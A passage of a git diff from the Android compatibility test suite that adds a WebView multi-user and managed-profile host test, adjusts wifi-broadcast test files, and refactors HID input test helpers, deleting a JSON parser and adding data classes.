+    private static final String DEVICE_PACKAGE = "com.android.cts.webkit";
+    private static final String SIMPLE_DEVICE_TEST_CLASS = "WebViewDeviceSideMultipleProfileTest";
+    private static final String DEVICE_TEST_CLASS = DEVICE_PACKAGE + "." + SIMPLE_DEVICE_TEST_CLASS;
+    private static final String DEVICE_TEST_APK = "CtsWebViewStartupApp.apk";
+
+    static final String ADMIN_RECEIVER_TEST_CLASS =
+            DEVICE_TEST_CLASS + "$BasicAdminReceiver";
+    static final String PROFILE_OWNER_CLASS = DEVICE_PACKAGE + "/" + ADMIN_RECEIVER_TEST_CLASS;
+
+    private static final String SECONDARY_USER_NAME = "WebViewTestProfile";
+
+    private ITestDevice mDevice;
+    private int mInitialUserId;
+    private int mUserId = -1;
+
+
+    @Before
+    public void setUp() throws InterruptedException, DeviceNotAvailableException {
+        mDevice = getDevice();
+        mInitialUserId = mDevice.getCurrentUser();
+    }
+
+    @After
+    public void tearDown() throws DeviceNotAvailableException {
+        if (mUserId > 0) {
+            Assert.assertTrue(mDevice.switchUser(mInitialUserId));
+            stopAndRemoveUser(mUserId);
+        }
+    }
+
+    @Test
+    public void testSecondProfile() throws DeviceNotAvailableException, TargetSetupError {
+        Assume.assumeTrue(isMultiUsersSupported());
+
+        mUserId = createUser(SECONDARY_USER_NAME + System.currentTimeMillis(), false);
+        startUser(mUserId);
+        switchUser(mUserId);
+        installTestApkForUser(mUserId);
+
+        assertWebViewDeviceTestAsUserPasses(this, "testCreateWebViewAndNavigate", mUserId);
+    }
+
+    @Test
+    public void testManagedProfile() throws DeviceNotAvailableException, TargetSetupError {
+        Assume.assumeTrue(isMultiUsersSupported() && isManagedProfileSupported());
+
+        mUserId = createUser(SECONDARY_USER_NAME + System.currentTimeMillis(), true);
+        startUser(mUserId);
+        setProfileOwnwer(mUserId, PROFILE_OWNER_CLASS);
+        installTestApkForUser(mUserId);
+
+        assertWebViewDeviceTestAsUserPasses(this, "testCreateWebViewAndNavigate", mUserId);
+    }
+
+    private void installTestApkForUser(int userId) throws DeviceNotAvailableException {
+        try {
+            // TODO: it would be nice to use BaseHostJUnit4Test#installPackageAsUser instead.
+            // However, this method removes installed package for all users after test is finished.
+            // Therefore it breaks other tests that rely on targetprep which installs test APK once
+            // before tests are executed.
+            // See b/178367954.
+            File file = getTestInformation().getDependencyFile(DEVICE_TEST_APK, true);
+            String output = mDevice.installPackageForUser(file, true, false, userId);
+            if (output != null) {
+                stopAndRemoveUser(userId);
+                Assert.fail("Failed to install test apk " + output);
+            }
+        } catch (FileNotFoundException e) {
+            stopAndRemoveUser(userId);
+            Assert.fail("Failed to install test apk " + DEVICE_TEST_APK);
+        }
+    }
+
+    private int createUser(String profileName, boolean isManaged)
+            throws DeviceNotAvailableException {
+        String command = isManaged ?
+                "pm create-user --profileOf %d --managed %s" :
+                "pm create-user --profileOf %d %s";
+        command = String.format(command, mDevice.getPrimaryUserId(), profileName);
+
+        CommandResult output = mDevice.executeShellV2Command(command);
+        if (CommandStatus.SUCCESS.equals(output.getStatus())) {
+            try {
+                String[] tokens = output.getStdout().split("\\s+");
+                return Integer.parseInt(tokens[tokens.length - 1]);
+            } catch (NumberFormatException e) {
+                LogUtil.CLog.d("Failed to parse user id when creating a profile user");
+            }
+        }
+        throw new IllegalStateException(String.format("Failed to create user: %s", output));
+    }
+
+    private void startUser(int userId) throws DeviceNotAvailableException {
+        if (!mDevice.startUser(userId)) {
+            mDevice.removeUser(userId);
+            Assert.fail("Failed to start user " + userId);
+        }
+    }
+
+    private void switchUser(int userId) throws DeviceNotAvailableException {
+        if (!mDevice.switchUser(userId)) {
+            stopAndRemoveUser(userId);
+            Assert.fail("Failed to switch to user " + userId);
+        }
+    }
+
+    private void setProfileOwnwer(int userId, String componentName)
+            throws DeviceNotAvailableException {
+        String command = "dpm set-profile-owner --user " + userId + " '" + componentName + "'";
+        CommandResult output = mDevice.executeShellV2Command(command);
+        if (!CommandStatus.SUCCESS.equals(output.getStatus())) {
+            stopAndRemoveUser(mUserId);
+            Assert.fail("Failed to set profile owner");
+        }
+    }
+
+    private void stopAndRemoveUser(int userId) throws DeviceNotAvailableException {
+        mDevice.switchUser(mInitialUserId);
+        if (!mDevice.stopUser(userId, /*waitFlag */true, /* stopFlag = */ true)) {
+            Assert.fail("Failed to stop user " + userId);
+        }
+        if (!mDevice.removeUser(mUserId)) {
+            Assert.fail("Failed to remove user " + userId);
+        }
+    }
+
+    private boolean isMultiUsersSupported() throws DeviceNotAvailableException {
+        return mDevice.getMaxNumberOfUsersSupported() > 1;
+    }
+
+    private boolean isManagedProfileSupported() throws DeviceNotAvailableException {
+        return mDevice.hasFeature("android.software.managed_users");
+    }
+
+    private static void assertWebViewDeviceTestAsUserPasses(BaseHostJUnit4Test hostTest,
+            String methodName, int userId) throws DeviceNotAvailableException {
+        hostTest.runDeviceTests(
+                new DeviceTestRunOptions(DEVICE_PACKAGE)
+                        .setTestClassName(DEVICE_TEST_CLASS)
+                        .setTestMethodName(methodName)
+                        .setUserId(userId)
+                        // Fail the host-side test if the device-side test fails.
+                        .setCheckResults(true));
+    }
+}
diff --git a/hostsidetests/wifibroadcasts/OWNERS b/hostsidetests/wifibroadcasts/OWNERS
index 28faebd..7d9d0f9 100644
--- a/hostsidetests/wifibroadcasts/OWNERS
+++ b/hostsidetests/wifibroadcasts/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 33618
 dysu@google.com
 etancohen@google.com
-rpius@google.com
 satk@google.com
diff --git a/hostsidetests/wifibroadcasts/TEST_MAPPING b/hostsidetests/wifibroadcasts/TEST_MAPPING
new file mode 100644
index 0000000..d740fae
--- /dev/null
+++ b/hostsidetests/wifibroadcasts/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWifiBroadcastsHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/wifibroadcasts/app/AndroidManifest.xml b/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
index 7bc2d00..5e29ffc 100644
--- a/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
+++ b/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wifibroadcasts.app">
+     package="android.wifibroadcasts.app">
 
     <application>
-        <activity android:name=".WifiBroadcastsDeviceActivity" >
+        <activity android:name=".WifiBroadcastsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index 0b4882a..da566c5 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -111,8 +111,8 @@
         }
         // Clear activity
         device.executeShellCommand(CLEAR_COMMAND);
-        // No mobile data or wifi or bluetooth to start with
-        device.executeShellCommand("svc data disable; svc wifi disable; svc bluetooth disable");
+        // No mobile data or wifi to start with
+        device.executeShellCommand("svc data disable; svc wifi disable");
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Ensure the screen is on, so that rssi polling happens
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
index 27b9445..71cf5da 100644
--- a/libs/input/Android.bp
+++ b/libs/input/Android.bp
@@ -20,4 +20,7 @@
     name: "cts-input-lib",
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+    ],
 }
diff --git a/libs/input/src/com/android/cts/input/HidBatteryTestData.java b/libs/input/src/com/android/cts/input/HidBatteryTestData.java
new file mode 100644
index 0000000..12761a3
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidBatteryTestData.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores HID  battery test data.
+  */
+public class HidBatteryTestData {
+    // Name of the test
+    public String name;
+
+    // HID reports that are used as input to /dev/uhid
+    public List<String> reports = new ArrayList<String>();
+
+    // Expected battery capacities.
+    // Some input device drivers change battery capacity interpretations so we have to add
+    // alternative capacity levels for different version of drivers.
+    public float[] capacities;
+
+    // Expected battery status
+    public int status;
+}
diff --git a/libs/input/src/com/android/cts/input/HidDevice.java b/libs/input/src/com/android/cts/input/HidDevice.java
index 173531a..7646fce 100644
--- a/libs/input/src/com/android/cts/input/HidDevice.java
+++ b/libs/input/src/com/android/cts/input/HidDevice.java
@@ -16,97 +16,97 @@
 
 package com.android.cts.input;
 
-import static android.os.FileUtils.closeQuietly;
 
 import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.hardware.input.InputManager;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
 
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
 
 import java.io.IOException;
-import java.io.OutputStream;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
+import java.util.List;
 
 /**
  * Represents a virtual HID device registered through /dev/uhid.
  */
-public final class HidDevice implements InputManager.InputDeviceListener {
+public final class HidDevice extends VirtualInputDevice {
     private static final String TAG = "HidDevice";
     // hid executable expects "-" argument to read from stdin instead of a file
     private static final String HID_COMMAND = "hid -";
 
-    private final int mId; // // initialized from the json file
+    @GuardedBy("mLock")
+    private List<HidResultData> mResults = new ArrayList<HidResultData>();
 
-    private OutputStream mOutputStream;
-    private Instrumentation mInstrumentation;
+    @Override
+    protected String getShellCommand() {
+        return HID_COMMAND;
+    }
 
-    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
-
-    public HidDevice(Instrumentation instrumentation, int deviceId, String registerCommand) {
-        mInstrumentation = instrumentation;
-        setupPipes();
-
-        mInstrumentation.runOnMainSync(new Runnable(){
-            @Override
-            public void run() {
-                InputManager inputManager =
-                        mInstrumentation.getContext().getSystemService(InputManager.class);
-                inputManager.registerInputDeviceListener(HidDevice.this, null);
+    @Override
+    protected void readResults() {
+        try {
+            mReader.beginObject();
+            HidResultData result = new HidResultData();
+            while (mReader.hasNext()) {
+                String fieldName = mReader.nextName();
+                if (fieldName.equals("eventId")) {
+                    result.eventId = Byte.decode(mReader.nextString());
+                }
+                if (fieldName.equals("deviceId")) {
+                    result.deviceId = Integer.decode(mReader.nextString());
+                }
+                if (fieldName.equals("reportType")) {
+                    result.reportType = Byte.decode(mReader.nextString());
+                }
+                if (fieldName.equals("reportData")) {
+                    result.reportData = readData();
+                }
             }
-        });
+            mReader.endObject();
+            addResult(result);
+        } catch (IOException ex) {
+            Log.w(TAG, "Exiting JSON Result reader. " + ex);
+        }
+    }
 
-        mId = deviceId;
-        registerInputDevice(registerCommand);
+    public HidDevice(Instrumentation instrumentation, int id,
+            int vendorId, int productId, int sources, String registerCommand) {
+        super(instrumentation, id, vendorId, productId, sources, registerCommand);
     }
 
     /**
-     * Register an input device. May cause a failure if the device added notification
-     * is not received within the timeout period
+     * Get hid command return results as list of HidResultData
      *
-     * @param registerCommand The full json command that specifies how to register this device
+     * @return List of HidResultData results
      */
-    private void registerInputDevice(String registerCommand) {
-        mDeviceAddedSignal = new CountDownLatch(1);
-        writeHidCommands(registerCommand.getBytes());
-        try {
-            // Found that in kernel 3.10, the device registration takes a very long time
-            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
-            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
-            if (mDeviceAddedSignal.getCount() != 0) {
-                throw new RuntimeException("Did not receive device added notification in time");
+    public synchronized List<HidResultData> getResults(int deviceId, byte eventId)
+            throws IOException {
+        List<HidResultData> results = new ArrayList<HidResultData>();
+        synchronized (mLock) {
+            for (HidResultData result : mResults) {
+                if (deviceId == result.deviceId && eventId == result.eventId) {
+                    results.add(result);
+                }
             }
-        } catch (InterruptedException ex) {
-            throw new RuntimeException(
-                    "Unexpectedly interrupted while waiting for device added notification.");
         }
-        // Even though the device has been added, it still may not be ready to process the events
-        // right away. This seems to be a kernel bug.
-        // Add a small delay here to ensure device is "ready".
-        SystemClock.sleep(500);
+        return results;
     }
 
     /**
-     * Add a delay between processing events.
+     * Add hid command returned HidResultData result
      *
-     * @param milliSeconds The delay in milliseconds.
+     * @param result HidResultData result
      */
-    public void delay(int milliSeconds) {
-        JSONObject json = new JSONObject();
-        try {
-            json.put("command", "delay");
-            json.put("id", mId);
-            json.put("duration", milliSeconds);
-        } catch (JSONException e) {
-            throw new RuntimeException(
-                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+    public synchronized void addResult(HidResultData result) {
+        synchronized (mLock) {
+            if (mId == result.deviceId && mResults != null) {
+                mResults.add(result);
+            }
         }
-        writeHidCommands(json.toString().getBytes());
     }
 
     /**
@@ -126,44 +126,7 @@
         } catch (JSONException e) {
             throw new RuntimeException("Could not process HID report: " + report);
         }
-        writeHidCommands(json.toString().getBytes());
+        writeCommands(json.toString().getBytes());
     }
 
-    /**
-     * Close the device, which would cause the associated input device to unregister.
-     */
-    public void close() {
-        closeQuietly(mOutputStream);
-    }
-
-    private void setupPipes() {
-        UiAutomation ui = mInstrumentation.getUiAutomation();
-        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
-
-        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
-        closeQuietly(pipes[0]); // hid command is write-only
-    }
-
-    private void writeHidCommands(byte[] bytes) {
-        try {
-            mOutputStream.write(bytes);
-            mOutputStream.flush();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    // InputManager.InputDeviceListener functions
-    @Override
-    public void onInputDeviceAdded(int deviceId) {
-        mDeviceAddedSignal.countDown();
-    }
-
-    @Override
-    public void onInputDeviceChanged(int deviceId) {
-    }
-
-    @Override
-    public void onInputDeviceRemoved(int deviceId) {
-    }
 }
diff --git a/libs/input/src/com/android/cts/input/HidJsonParser.java b/libs/input/src/com/android/cts/input/HidJsonParser.java
deleted file mode 100644
index 0bc5ea0..0000000
--- a/libs/input/src/com/android/cts/input/HidJsonParser.java
+++ /dev/null
@@ -1,376 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.input;
-
-import android.content.Context;
-import android.view.InputDevice;
-import android.view.InputEvent;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-
-
-/**
- * Parse json resource file that contains the test commands for HidDevice
- *
- * For files containing reports and input events, each entry should be in the following format:
- * <code>
- * {"name": "test case name",
- *  "reports": reports,
- *  "events": input_events
- * }
- * </code>
- *
- * {@code reports} - an array of strings that contain hex arrays.
- * {@code input_events} - an array of dicts in the following format:
- * <code>
- * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
- * </code>
- * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
- * Timestamps will not be checked.
-
- * Example:
- * <code>
- * [{ "name": "press button A",
- *    "reports": ["report1",
- *                "report2",
- *                "report3"
- *               ],
- *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
- *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
- *              ]
- *  },
- *  ... more tests like that
- * ]
- * </code>
- */
-public class HidJsonParser {
-    private static final String TAG = "JsonParser";
-
-    private Context mContext;
-
-    public HidJsonParser(Context context) {
-        mContext = context;
-    }
-
-    /**
-     * Convenience function to create JSONArray from resource.
-     * The resource specified should contain JSON array as the top-level structure.
-     *
-     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
-     */
-    private JSONArray getJsonArrayFromResource(int resourceId) {
-        String data = readRawResource(resourceId);
-        try {
-            return new JSONArray(data);
-        } catch (JSONException e) {
-            throw new RuntimeException(
-                    "Could not parse resource " + resourceId + ", received: " + data);
-        }
-    }
-
-    /**
-     * Convenience function to read in an entire file as a String.
-     *
-     * @param id resourceId of the file
-     * @return contents of the raw resource file as a String
-     */
-    private String readRawResource(int id) {
-        InputStream inputStream = mContext.getResources().openRawResource(id);
-        try {
-            return readFully(inputStream);
-        } catch (IOException e) {
-            throw new RuntimeException("Could not read resource id " + id);
-        }
-    }
-
-    /**
-     * Read register command from raw resource.
-     *
-     * @param resourceId the raw resource id that contains the command
-     * @return the command to register device that can be passed to HidDevice constructor
-     */
-    public String readRegisterCommand(int resourceId) {
-        return readRawResource(resourceId);
-    }
-
-    /**
-     * Read entire input stream until no data remains.
-     *
-     * @param inputStream
-     * @return content of the input stream
-     * @throws IOException
-     */
-    private String readFully(InputStream inputStream) throws IOException {
-        OutputStream baos = new ByteArrayOutputStream();
-        byte[] buffer = new byte[1024];
-        int read = inputStream.read(buffer);
-        while (read >= 0) {
-            baos.write(buffer, 0, read);
-            read = inputStream.read(buffer);
-        }
-        return baos.toString();
-    }
-
-    /**
-     * Extract the device id from the raw resource file. This is needed in order to register
-     * a HidDevice.
-     *
-     * @param resourceId resorce file that contains the register command.
-     * @return hid device id
-     */
-    public int readDeviceId(int resourceId) {
-        try {
-            JSONObject json = new JSONObject(readRawResource(resourceId));
-            return json.getInt("id");
-        } catch (JSONException e) {
-            throw new RuntimeException("Could not read device id from resource " + resourceId);
-        }
-    }
-
-    /**
-     * Read json resource, and return a {@code List} of HidTestData, which contains
-     * the name of each test, along with the HID reports and the expected input events.
-     */
-    public List<HidTestData> getTestData(int resourceId) {
-        JSONArray json = getJsonArrayFromResource(resourceId);
-        List<HidTestData> tests = new ArrayList<HidTestData>();
-        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
-            HidTestData testData = new HidTestData();
-
-            try {
-                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
-                testData.name = testcaseEntry.getString("name");
-                JSONArray reports = testcaseEntry.getJSONArray("reports");
-
-                for (int i = 0; i < reports.length(); i++) {
-                    String report = reports.getString(i);
-                    testData.reports.add(report);
-                }
-
-                final int source = sourceFromString(testcaseEntry.optString("source"));
-
-                JSONArray events = testcaseEntry.getJSONArray("events");
-                for (int i = 0; i < events.length(); i++) {
-                    JSONObject entry = events.getJSONObject(i);
-
-                    InputEvent event;
-                    if (entry.has("keycode")) {
-                        event = parseKeyEvent(source, entry);
-                    } else if (entry.has("axes")) {
-                        event = parseMotionEvent(source, entry);
-                    } else {
-                        throw new RuntimeException(
-                                "Input event is not specified correctly. Received: " + entry);
-                    }
-                    testData.events.add(event);
-                }
-                tests.add(testData);
-            } catch (JSONException e) {
-                throw new RuntimeException("Could not process entry " + testCaseNumber);
-            }
-        }
-        return tests;
-    }
-
-    private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
-        int action = keyActionFromString(entry.getString("action"));
-        int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
-        int metaState = metaStateFromString(entry.optString("metaState"));
-        // We will only check select fields of the KeyEvent. Times are not checked.
-        return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
-                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
-                /* flags */ 0, source);
-    }
-
-    private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
-        MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
-        properties[0] = new MotionEvent.PointerProperties();
-        properties[0].id = 0;
-        properties[0].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
-
-        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[1];
-        coords[0] = new MotionEvent.PointerCoords();
-
-        JSONObject axes = entry.getJSONObject("axes");
-        Iterator<String> keys = axes.keys();
-        while (keys.hasNext()) {
-            String axis = keys.next();
-            float value = (float) axes.getDouble(axis);
-            coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
-        }
-
-        int buttonState = 0;
-        JSONArray buttons = entry.optJSONArray("buttonState");
-        if (buttons != null) {
-            for (int i = 0; i < buttons.length(); ++i) {
-                buttonState |= motionButtonFromString(buttons.getString(i));
-            }
-        }
-
-        int action = motionActionFromString(entry.getString("action"));
-        // Only care about axes, action and source here. Times are not checked.
-        return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
-                /* pointercount */ 1, properties, coords, 0, buttonState, 0f, 0f,
-                0, 0, source, 0);
-    }
-
-    private static int keyActionFromString(String action) {
-        switch (action.toUpperCase()) {
-            case "DOWN":
-                return KeyEvent.ACTION_DOWN;
-            case "UP":
-                return KeyEvent.ACTION_UP;
-        }
-        throw new RuntimeException("Unknown action specified: " + action);
-    }
-
-    private static int metaStateFromString(String metaStateString) {
-        int metaState = 0;
-        if (metaStateString.isEmpty()) {
-            return metaState;
-        }
-        final String[] metaKeys = metaStateString.split("\\|");
-        for (final String metaKeyString : metaKeys) {
-            final String trimmedKeyString = metaKeyString.trim();
-            switch (trimmedKeyString.toUpperCase()) {
-                case "SHIFT_LEFT":
-                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
-                    break;
-                case "SHIFT_RIGHT":
-                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
-                    break;
-                case "CTRL_LEFT":
-                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
-                    break;
-                case "CTRL_RIGHT":
-                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
-                    break;
-                case "ALT_LEFT":
-                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
-                    break;
-                case "ALT_RIGHT":
-                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
-                    break;
-                case "META_LEFT":
-                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON;
-                    break;
-                case "META_RIGHT":
-                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_RIGHT_ON;
-                    break;
-                case "CAPS_LOCK":
-                    metaState |= KeyEvent.META_CAPS_LOCK_ON;
-                    break;
-                case "NUM_LOCK":
-                    metaState |= KeyEvent.META_NUM_LOCK_ON;
-                    break;
-                case "SCROLL_LOCK":
-                    metaState |= KeyEvent.META_SCROLL_LOCK_ON;
-                    break;
-                default:
-                    throw new RuntimeException("Unknown meta state chunk: " + trimmedKeyString
-                            + " in meta state string: " + metaStateString);
-            }
-        }
-        return metaState;
-    }
-
-    private static int motionActionFromString(String action) {
-        switch (action.toUpperCase()) {
-            case "DOWN":
-                return MotionEvent.ACTION_DOWN;
-            case "MOVE":
-                return MotionEvent.ACTION_MOVE;
-            case "UP":
-                return MotionEvent.ACTION_UP;
-            case "BUTTON_PRESS":
-                return MotionEvent.ACTION_BUTTON_PRESS;
-            case "BUTTON_RELEASE":
-                return MotionEvent.ACTION_BUTTON_RELEASE;
-            case "HOVER_ENTER":
-                return MotionEvent.ACTION_HOVER_ENTER;
-            case "HOVER_MOVE":
-                return MotionEvent.ACTION_HOVER_MOVE;
-            case "HOVER_EXIT":
-                return MotionEvent.ACTION_HOVER_EXIT;
-        }
-        throw new RuntimeException("Unknown action specified: " + action);
-    }
-
-    private static int sourceFromString(String sourceString) {
-        if (sourceString.isEmpty()) {
-            return InputDevice.SOURCE_UNKNOWN;
-        }
-        int source = 0;
-        final String[] sourceEntries = sourceString.split("\\|");
-        for (final String sourceEntry : sourceEntries) {
-            final String trimmedSourceEntry = sourceEntry.trim();
-            switch (trimmedSourceEntry.toUpperCase()) {
-                case "MOUSE_RELATIVE":
-                    source |= InputDevice.SOURCE_MOUSE_RELATIVE;
-                    break;
-                case "JOYSTICK":
-                    source |= InputDevice.SOURCE_JOYSTICK;
-                    break;
-                case "KEYBOARD":
-                    source |= InputDevice.SOURCE_KEYBOARD;
-                    break;
-                case "GAMEPAD":
-                    source |= InputDevice.SOURCE_GAMEPAD;
-                    break;
-                case "DPAD":
-                    source |= InputDevice.SOURCE_DPAD;
-                    break;
-                default:
-                    throw new RuntimeException("Unknown source chunk: " + trimmedSourceEntry
-                            + " in source string: " + sourceString);
-            }
-        }
-        return source;
-    }
-
-    private static int motionButtonFromString(String button) {
-        switch (button.toUpperCase()) {
-            case "BACK":
-                return MotionEvent.BUTTON_BACK;
-            case "FORWARD":
-                return MotionEvent.BUTTON_FORWARD;
-            case "PRIMARY":
-                return MotionEvent.BUTTON_PRIMARY;
-            case "SECONDARY":
-                return MotionEvent.BUTTON_SECONDARY;
-            case "STYLUS_PRIMARY":
-                return MotionEvent.BUTTON_STYLUS_PRIMARY;
-            case "STYLUS_SECONDARY":
-                return MotionEvent.BUTTON_STYLUS_SECONDARY;
-            case "TERTIARY":
-                return MotionEvent.BUTTON_TERTIARY;
-        }
-        throw new RuntimeException("Unknown button specified: " + button);
-    }
-}
diff --git a/libs/input/src/com/android/cts/input/HidLightTestData.java b/libs/input/src/com/android/cts/input/HidLightTestData.java
new file mode 100644
index 0000000..8a3bfb4
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidLightTestData.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.ArrayMap;
+
+/**
+ * Data class that stores HID light test data.
+ */
+public class HidLightTestData {
+    // Light type
+    public int lightType;
+
+    // Light color
+    public int lightColor;
+
+    // Light player ID
+    public int lightPlayerId;
+
+    // Light name
+    public String lightName;
+
+    // HID event type
+    public Byte hidEventType;
+
+    // HID report
+    public String report;
+
+    // Array of index and expected data in HID output packet to verify LED states.
+    public ArrayMap<Integer, Integer> expectedHidData;
+
+}
diff --git a/libs/input/src/com/android/cts/input/HidResultData.java b/libs/input/src/com/android/cts/input/HidResultData.java
new file mode 100644
index 0000000..5dbd612
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidResultData.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+/**
+ * Data class that stores Hid test data result returned from hid command.
+ *
+ */
+public class HidResultData {
+    // event Id of test result
+    public byte eventId;
+
+    // Device Id
+    public int deviceId;
+
+    // report type
+    public byte reportType;
+
+    // report data
+    public byte[] reportData;
+}
diff --git a/libs/input/src/com/android/cts/input/HidVibratorTestData.java b/libs/input/src/com/android/cts/input/HidVibratorTestData.java
new file mode 100644
index 0000000..b67c082
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidVibratorTestData.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.ArrayMap;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class HidVibratorTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // Array of vibrator amplitudes
